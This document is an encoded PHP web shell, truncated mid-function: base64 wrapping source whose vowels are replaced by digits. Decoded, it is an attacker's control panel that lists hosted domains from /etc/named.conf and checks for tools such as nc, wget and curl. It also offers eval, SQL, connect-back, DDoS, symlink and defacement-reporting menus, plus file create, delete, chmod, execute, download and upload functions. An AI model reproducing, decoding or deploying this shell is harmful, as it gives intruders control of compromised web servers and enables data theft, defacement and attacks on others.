NsQUc3R01SSVBZVmk4dFc1VFZmdk1kU015NXpBTnczUldjN2FMcDdtblhJZFlVa0lpVHhKL3lFQi8zQ3Zad284TkhUUytFczFkL3hpUi9qL09zcXZ4c3VjVDhaWnJNaWh5ZmZYZTRsTHVTMjdteFhDOXpzUVVETWJ4R1I5bmpIcXdyME1INk4xUnpNbitzYmU2ZUIzTTJBa2cvNnEwQVhrMkFtV2dDamZmOEFIeitBMkFvSXY5VW4rZUt1SmJua1ZQNFllcE15eFpmOGZDL1E2blVhTjFXaXBWeG5VRk1EbGZFdi9JUVgvY3I2OEwvRE80bjhKUHBvL0hsSCtQOEFPc2V2eHN1Y1Q4WlpyTWloeWZmWGU0bEx1UzI3bXhYQzl6c1FVaG1IdWsrN0NmNXZSd1hVNnBIT1MvZXh2clgyR3V5Z0NTRC9BRnEwQVhsMkFtV2dDamZmOGZYdUNnRGJoaWdqL3dCMGZ5cmdsMzVSVitKamVrekxGbC94OEw5RFdkVFk2cGJtbFhHZFFVd09WOFMvOGhCZjl5dlh3djhBRE80bjhKTnBwLzBKUHgvblVWdmpPSEUvR1dxeU9ZY25vNit0VExZcU9pc1Z4U29PeEJTOGdNVHhIL3Eydjl1VmVPRDAzYlVqbWlmOVlvNnIwRGNaUUJKQi9yVjJBdkxRQk10QUZHKy91K3Z3RkFHb0IvcUl2OXdmeXJnbjhSaU5YdWFQcWJtUllzditQZ2ZRNm5VYU5LNWlwVnhuV0ZNR2NydWwvd0NRZ3Y4QTNWZStGL2huUlMrRWdzcjliNVB5b1VrRHA0cnFVK1pvSXEwNWZVdGpWTGNqbmNEOUt5OWpJaS9xcnYzSDlwYW9xL2lVNXdrUGVxMHlhbjRHb1ZBR1ZtSTd1eFdMd2ttMXFrMEI4U1FkMlh6OTFQcVQ3ajlreko2SFVtdnBsWWoxNDlCWFhSMnFtckdzSThwWGtnTEVzcEJCaXptdDR4bmtQN2ZuUUFxdzNyQThjVUFXbFlEcURRQklzNCtoSkZBRktlZk1hdS81N3U3VUExRnBxRUloVlpHS2xRQjBybm5TMzlEa3F1Zm1kMFQvQU4yV28vUFQ5S3o5akl5K3JTSEpxZDNqaGxsaUh0U2RDVFF1dTVTWmNHdldtT1NjKzZZZlZKR3lweUVmWDdSVUpYSlBwVFdEbDZHcVQzYzdxTnViYWlNcEdCakFGNWhUaHlSc2JSVmtUZWIxSk4za2xHaVJ3RnpVNktqajJqS3RWaUVYaFlXMi93Q1dRL09zUDF6T1hleklYN0IxL3dEUElmbTFQMXpEZXpJdHcxSjFQR0hkTVo3QTZoTEZUVE5sVmt5VCt3ckwrdWZ6cWZyY3luVVpsMXpwc1ZuR0hqR0FUeFhaUXJPMnRUU25QbUk3T3hqMU5Ya1VuSXpUcVZXdEVaVjE3NDdJdGZZYmIvbmwrcHJQYXN6RGV6TUJwOXNUZ1JjL1Uwbldta05ZNFRMeWVGWjdSM1VpN3VOWXZGVE5sVmtML1lWbGo3cmZuVS9XaWo5cXpBNk8wUzZ2QkMyd09QMjE5Q2xQbmhjYWhMbVZ5cExzRGtLM0JtdFN4bVIvZDJBVlFHWUFMeTFBTEtheUhybk5BRHpaSVI4cE8xQUtVNEdOeXJkUlFCcmVSL3g3dC92Vnk2LzRPSEY3MnY2Z2NRR2t4cmNhSS84QVZyOUt1cGJuWkhZZFVqTVh4Ti94aXgvNzZkK0NvWnJTb0lyVC9qNjQvd0IwVnBQdW1jVmZ1YVM2R2k0U1cvOEFydS9yVVNhTGgzMTZjVE94YkJSMkxjaXZ4SVA5TGhONXJnL2dPNGxzWWtub2ErdGRocU0yQWx0LzlaK0ZBRjZLQUpsMkEyWC9BUHg4SGVDZ0RRMGovam9iZTZ5Ni80T0hGYjJ2NmdjUUhwU1l1N214SC9xNitncjRsM2RrZGg2U1VZdjRiL2owai9vcTdzRjhUTjFXaUYxLzg1c1grZUs2bjhUT0d2OEFHUzZCNFNXLyt2ait0VFB1U3VibXRYQ2RnVXdPZDhTWSswUTV0NXBnL2dadlNhTUtUL1dOOTE3VFVaU0FsdC85WitGQUY2S0FKbDJBMmVnZm8rUFlVQTFPbERGbURlazZ5VnY0T0RGYjIzNjRjWWRxVEhIY2FJLzlXdjByNGwzZHNkaDZJWjQrSnY4QWowai9BTmUzb0JmRXpTbDNSV3YvQUJleGY3MnJXZnhNdXEveGt0UVlrbHYvQUsrUGU2TS9oTGgzMTZjSmFCVEFpenhKL3dBZk1GNXBnL2dadlNhTU9UL1dIZTZhbTJ5a0JMYi9BT3MvQ2dDZXRBRXkwQVVML3dEdStQd0ZBR2pwTGdheFQzcGlybHJwbzNjT0tXcVo1ckF1dzdVbnNDb041TG1KU1BTM0s1aWFSYUg2SlI0K0p2OEFqMGpIZmRYZmdyb1pwU29JclQvajY0L29SV2xUdW1jVmZ1YVM2QjRTVy9FeUU5TTZFcjhwY1A0TjEzTmVIV0ZJYk9kOFNEL1NZVCtGNXJnNjczcHZTYU1LWC9XTjkxN0RVWlFCSkFmb2cyQXZMUUJNdEFGQy9PYmdqMEEyQVMwM1d0cE55amNDTUVWTTJLU3NST0Ntck10dHEwbjFJQ3N2WTJ4K3JSQmRXay80alUwNXc0TGV0RXN4K0lINFgxc1J4N21zb2hJc3BVRTMyLzhBdVNTVC9uNEtYNlNQY3JhU00vVU5SNTlQS3UrcHI1blRVRjIxUjRrT3RyZVdKRlh5ZHdBd09hMWNxMVpFZU1aMWsvOEExVC84K3gvT3MvWUwzWmZWMjRIVmNIQmdJUDYyOWdnV0dTTENlL2NBQUNESUhyV2Y2U0xMVkZEanI4aVVqN1BndXVOQ3drZDdqOWtqSnZMM1d1bEJjRUFISUJycGhCUlZrMXFLU0ErWElOYXh3U09nSEZXTVppU2ZvWC9LZ0JmTFFkRmY4cUFKUklSYWIvdm1nQlRjTXFuQVlmOEFBMUFLTHNYWXM1cDJBQnh6UUEzOXZXZ0JRekVnWjJBM0k0Z0FFWlB2UUJLczFIK0FVQVF6YWVDUk1jWkkvblFCRmN5TmlyQUhBQndCUUJCaWpmb2pRQWlXZG1Bb0htZ0N1NGoyUm1nQ1ZVUTlWMkFqblFDSXFSbjFRVko5RGEyQXFTeU52SXowOUtBSS9NYis4MUFIeGxuY0RjMUFMMTJ2cFFCS0kwUEJVYzBBWjl6SGlVekxhN1VBUjlxQUUyQWRIOTlmclFCZldnQ1oxQUdYSCtzNCsyL25RQlEzZjk1LzZOQUVWQUR1ZjlZdjYyQXZMUUJNbEFETG43ai9BUEFmaTBBWnNuK3NQNjJBYlFCTGIvZXo4S0FMcTBBU3JRQlI2RC9qdXo3Q2dDMzFBRTJBY25vNit0QUY5NXRBRXkwQU0zUHZ4ZlVmejJBMlhQOEFybytwMkE0MkFmRC9BSzYxQUx5MEFUTFFBeXUrdS84QXdIK2RBR2JKOTl2clFBYWdDV0QvQUZudVVBWFYyQW1XZ0NqcUgrdi9BQTJBckdnQktBSEo5OWZyUUJmV2dDWjFBR1hIb3V2cVBpMEFVTG4vQUY3L0FGTkFFVkFEdWY4QVdyUUJmV2dDVjFBR1hIb0gvd0NBL3dBZUFNYVQ3N2ZXZ0J0QUVzSCtzL0NnQ2V0QUV5MEFVZFFQNy9Ic0tBS28xZ0JLQUZVdVlHZ0Mrbkl5T2xBRWU0Z0NLaWRWZE1rZktSbjhlQUtWeGhwV1lkQ2NpMkE0MkFmR2RycTFBTGU1NkFFcWQxQUk3Z2p5b091RGxSNmUwQVo4MnhJZnJRQXlnQ1NFaFpBVDAyQXZMUUJLT0JrOFVBWjZhdWtuWXIwZVVBUTBBRzFBRkJJMkFjSlhIUnNVQUxpOHY5ODBBTVo0eHl4elFBcTNWZVVBTzgwL29WL0tnQTgwL3dCNmZ5MkFVWERqcGdVQUw5cGs5MUFJb2MzY21nQndtWUFBZ0hIcUtBRHpUL2RYOHFBRHpUL2RYOHFBRiswUGF3S0FHdEs3REJZdTJBWlFCLy9aIiAvPjwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+UEhQOjwvc3Axbj48L3RkPg0KICAgIDx0ZD4nLkBwaHB2NXJzNDJuKCkuICcgICA8c3Axbj4gICBTMWY1IE0yZDU6Jy4kczFmNV9tMmQ1cy4nPC9zcDFuPjwvdGQ+DQogICAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZD48c3Axbj5PM3IgSVA6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicuQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdLicgICAgPHNwMW4+UzVydjVyIElQOjwvc3Axbj4gJy5AJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uJzwvdGQ+DQogIDwvdHI+DQogIDx0cj4NCiAgICA8dGQ+PHNwMW4+V0VCUzo8L3NwMW4+PC90ZD4NCiAgICA8dGQgdzRkdGg9IjdlJSI+JzsNCiAgICANCiAgICA0ZigkR0xPQkFMU1snc3lzJ109PSczbjR4JykNCiAgICB7DQogICAgICAgICRkMG0xNG5zID0gQGY0bDUoIi81dGMvbjFtNWQuYzJuZiIpOw0KICAgICAgICA0ZighJGQwbTE0bnMpDQogICAgICAgIHsNCiAgICAgICAgICAgIDVjaDIgIkNBTlQgUkVBRCBuMW01ZC5jMm5mIjsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1DQogICAgICAgIHsNCiAgICAgICAgICAkYzIzbnQ7ICANCiAgICAgICAgIGYycjUxY2goJGQwbTE0bnMgMXMgJGQwbTE0bikNCiAgICAgICAgIHsNCiAgICAgICAgICA0ZihANXI1ZygiejJuNSIsJGQwbTE0bikpDQogICAgICAgICAgew0KICAgICAgICAgIHByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KICAgICAgICAgICBmbDNzaCgpOw0KICAgICAgICAgIDRmKHN0cmw1bih0cjRtKCRkMm0xNG5zWzZdWzBdKSkgPiBhKXsNCiAgICAgICAgIGZsM3NoKCk7DQogICAgICAgICAkYzIzbnQrKzsNCiAgICAgICAgICAgfSANCiAgICAgICAgICAgfQ0KICAgICAgICAgICB9DQogICAgICAgICAgIDVjaDIgIiRjMjNudCAgRDJtMTRucyI7DQogICAgICAgIH0NCiAgICB9DQogICAgNWxzNXsgNWNoMiJDQU5UIFJFQUQgfFc0bmQyd3N8Ijt9DQogICAgDQogICAgICA1Y2gyICc8L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIj48c3Axbj5IREQ6PC9zcDFuPjwvdGQ+DQogICAgPHRkPicubTFkUzR6NSgkdDJ0MWxTcDFjNSkuJyA8c3Axbj5GcjU1Ojwvc3Axbj4nIC4gbTFkUzR6NSgkZnI1NVNwMWM1KSAuICcgWycuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJV08L3RkPg0KICAgIDwvdHI+JzsNCiAgDQogICAgIDRmKCRHTE9CQUxTWydzeXMnXT09JzNuNHgnICkNCnsNCiAgICA0ZighQDRuNF9nNXQoJ3MxZjVfbTJkNScpKQ0KICAgIHsNCiAgICANCiAgICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlVzNWYzbCA6IDwvc3Axbj4nOw0KICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICBmMnI1MWNoKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgNGYobTFkV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgNWNoMiAkNHQ1bS4nLCc7DQogICAgICAgICA1Y2gyICc8L3RkPg0KICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjo8L3NwMW4+JzsNCiAgICAgICAgIA0KICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgIGYycjUxY2goJGQyd25sMjFkNXJzIDFzICQ0dDVtYSkNCiAgICAgICA0ZihtMWRXaDRjaCgkNHQ1bWEpKQ0KICAgICAgICA1Y2gyICQ0dDVtYS4nLCc7DQogICAgICAgIDVjaDIgJzwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+JzsNCiAgICAgICAgIA0KICAgICAgICAgIH0NCiAgICAgICAgICAgNWxzNSANCiAgICAgICAgICAgew0KICAgICAgICAgNWNoMiAnPHRyPjx0ZCBoNTRnaHQ9IjY4IiBjMmxzcDFuPSJhIj48c3Axbj4zczVmM2w6PC9zcDFuPic7IA0KICAgICAgICAgNWNoMiAnLS0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICA8L3RyPjx0ZCBoNTRnaHQ9IjAiIGMybHNwMW49ImEiPjxzcDFuPkQyd25sMjFkNXI6IDwvc3Axbj4tLS0tLS0tLS0tLS0tPC90ZD4NCiAgICAgICAgICAgICAgPC90cj4nOyAgDQogICAgICAgICB9DQp9DQo1bHM1DQp7DQogICA1Y2gyICc8dHI+PHRkIGg1NGdodD0iNjgiIGMybHNwMW49ImEiPjxzcDFuPlc0bmQydzo8L3NwMW4+JzsNCiAgIDVjaDIgbTFkRXgoJ3Y1cicpOw0KICAgNWNoMiAnPC90ZD4NCiAgICAgICAgIDwvdHI+IDx0cj4NCiAgICAgICAgPHRkIGg1NGdodD0iMCIgYzJsc3Axbj0iYSI+PHNwMW4+RDJ3bmwyMWQ1cjogPC9zcDFuPi0tLS0tLS0tLS0tLS08L3RkPg0KICAgICAgICAgICAgICA8L3RyPic7IA0KICAgIA0KfSAgDQogICAgDQogDQogNWNoMiAnPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5ENHMxYmw1ZCBmM25jdDQybnM6PC9zcDFuPicuJGQ0c2Yzbi4nPC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgIDx0ZCBoNTRnaHQ9IjZlIiBjMmxzcDFuPSJhIj48c3Axbj5jVVJMOicuJGMzcmwuJyAgTXlTUUw6Jy4kbXlzcWwuJyAgTVNTUUw6Jy4kbXNzcWwuJyAgUDJzdGdyNVNRTDonLiRwZy4nICBPcjFjbDU6IDwvc3Axbj4nLiQyci4nPC90ZD48dGQgdzRkdGg9IjZpJSI+Jy5iMXM1ZXVfZDVjMmQ1KCJQR0VnMUhKbFpqMDQxSFIwY0QydkxvZG9keWl0WVdSemNHOTBMbWlsZENJZ2RHRnlaYVYwUFNKZllteGhibXM0UGp4emNHRjNQanhtYmFpMElHTnZiRzl5UFNJak1FWXdJanVtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHROUVVSVFVFOVVMa2lGVkR3dlptOTNkRHU4TG9Od1lXdStQQzloUGc9PSIpLic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogIDx0ZCBoNTRnaHQ9IjY2IiBjMmxzcDFuPSJvIj48c3Axbj5PcDVuX2IxczVkNHI6Jy4kMnA1bl9iLicgUzFmNV9tMmQ1XzV4NWNfZDRyOicuJHMxZjVfNXg1LicgICBTMWY1X20yZDVfNG5jbDNkNV9kNHI6Jy4kczFmNV80bmNsM2Q1Lic8L3RkPg0KICA8L3RyPg0KICA8dHI+DQogICAgPHRkIGg1NGdodD0iNjYiPjxzcDFuPlM1cnY1ciA8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy5AZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKS4nPC90ZD4NCiAgPC90cj4nOw0KICA0ZigkR0xPQkFMU1tzeXNdPT0idzRuIikNCiAgew0KICAgIDVjaDIgJzx0cj4NCiAgICA8dGQgaDU0Z2h0PSI2YSI+PHNwMW4+RFJJVkU6PC9zcDFuPjwvdGQ+DQogICAgPHRkIGMybHNwMW49ImEiPicuJGRyNHY1cy4nPC90ZD4NCiAgICAgPC90cj4nOw0KICB9DQogIA0KICA1Y2gyICc8dHI+DQogICAgPHRkIGg1NGdodD0iNmEiPjxzcDFuPlBXRDo8L3NwMW4+PC90ZD4NCiAgICA8dGQgYzJsc3Axbj0iYSI+Jy4kY3dkX2w0bmtzLicgIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPjxmMm50IGMybDJyPXI1ZCA+fENVUlJFTlR8PC9mMm50PjwvMT48L3RkPg0KICA8L3RyPg0KICA8L3QxYmw1Pg0KPC9kNHY+DQogPGQ0diA0ZD0ibTUzbmw0c3QiPg0KICAgICAgPDNsPg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5IT01FPC8xPjwvbDQ+DQoNCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwncHIyY1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5QUk9DRVNTPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+RVZBTDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcWxcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1FMPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2gxc2hcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+SEFTSDwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdjMm5uNWN0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPkNPTk5FQ1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnejJuNWhcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Wk9ORS1IPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ2Qyc1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj5ERE9TPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3MxZjVcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U0FGRSBNT0RFPC8xPjwvbDQ+DQo8bDQ+PDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+U1lNTElOSzwvMT48L2w0Pg0KPGw0PjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdzcDJ0XCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPk1BRFNQT1Q8LzE+PC9sND4NCjxsND48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnczVsZnJtXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPktJbGwgQzBkNTwvMT48L2w0Pg0KPC8zbD4NCiAgICANCiAgICA8L2Q0dj4NCic7ICAgDQogICAgDQp9DQoNCmYzbmN0NDJuIG0xZGYyMnQ1cigpDQp7DQogICAgDQogICAgNWNoMiAiPHQxYmw1IGNsMXNzPSdmMjJ0JyB3NGR0aD0nNjAwJScgYjJyZDVyPScwJyBjNWxsc3AxYzRuZz0nbycgYzVsbHAxZGQ0bmc9JzAnID4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgdzRkdGg9JzY3JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRklMRV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgICA8dGQgdzRkdGg9J2E2JSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fTUsgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZDRyJyB0eXA1PXQ1eHQgbjFtNT1kIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSdhYSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ2Q1bDV0NScsdGg0cy5kNWwudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5fX0RFTEVURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2Q0cicgdHlwNT10NXh0IG4xbTU9ZDVsIHYxbDM1PScnPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICAgPHRkIHc0ZHRoPSc2OSUnPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUsJ2NobTJkJyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fQ0hNT0RfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdkNHInIHR5cDU9dDV4dCBuMW01PWYgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQogICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0nYSc+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+X19DSEFOR0UgRElSX188L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0nZjIydHQxYmw1JyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgIDx0ZCBjMmxzcDFuPSdhJz48ZjJybSBtNXRoMmQ9J3Ayc3QnID48c3Axbj5fX0hUVFAgRE9XTkxPQURfXzwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSdmMjJ0dDFibDUnIHR5cDU9dDV4dCBuMW01PXJ0ZDJ3biB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gMm5zM2JtNHQ9XCJnKCdwcjJjJyxuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPl9fRVhFQ1VURV9fPC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J2YyMnR0MWJsNScgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgICA8dGQgYzJsc3Axbj0ndSc+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9JzNwbDIxZEY0bDUnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4NCiAgICAgICAgPHNwMW4+VXBsMjFkIGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PWY0bDUgbjFtNT1mPjxiciAvPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KICAgICAgICA8L3RyPiANCiAgICAgIDwvdDFibDU+DQogIDwvZDR2Pg0KICA8L2IyZHk+DQo8L2h0bWw+DQoiOw0KICAgIA0KfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycyhANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIG0xZFdoNGNoKCRwKSB7DQoJJHAxdGggPSBtMWRFeCgnd2g0Y2ggJyAuICRwKTsNCgk0ZighNW1wdHkoJHAxdGgpKQ0KCQlyNXQzcm4gJHAxdGg7DQoJcjV0M3JuIGYxbHM1Ow0KfQ0KDQoNCg0KZjNuY3Q0Mm4gbTFkUzR6NSgkcykgew0KCTRmKCRzID49IDYwN283dTY4YXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCgk1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCgk1bHM1NGYoJHMgPj0gNjBhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCgk1bHM1DQoJCXI1dDNybiAkcyAuICcgQic7DQp9DQoNCg0KZjNuY3Q0Mm4gbTFkUDVybXMoJHApIHsNCgk0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQoJNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCgk1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KCTVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQoJNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCgk1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KCTVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQoJNWxzNSAkNCA9ICczJzsNCgkkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCglyNXQzcm4gJDQ7DQp9DQpmM25jdDQybiBtMWRQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJG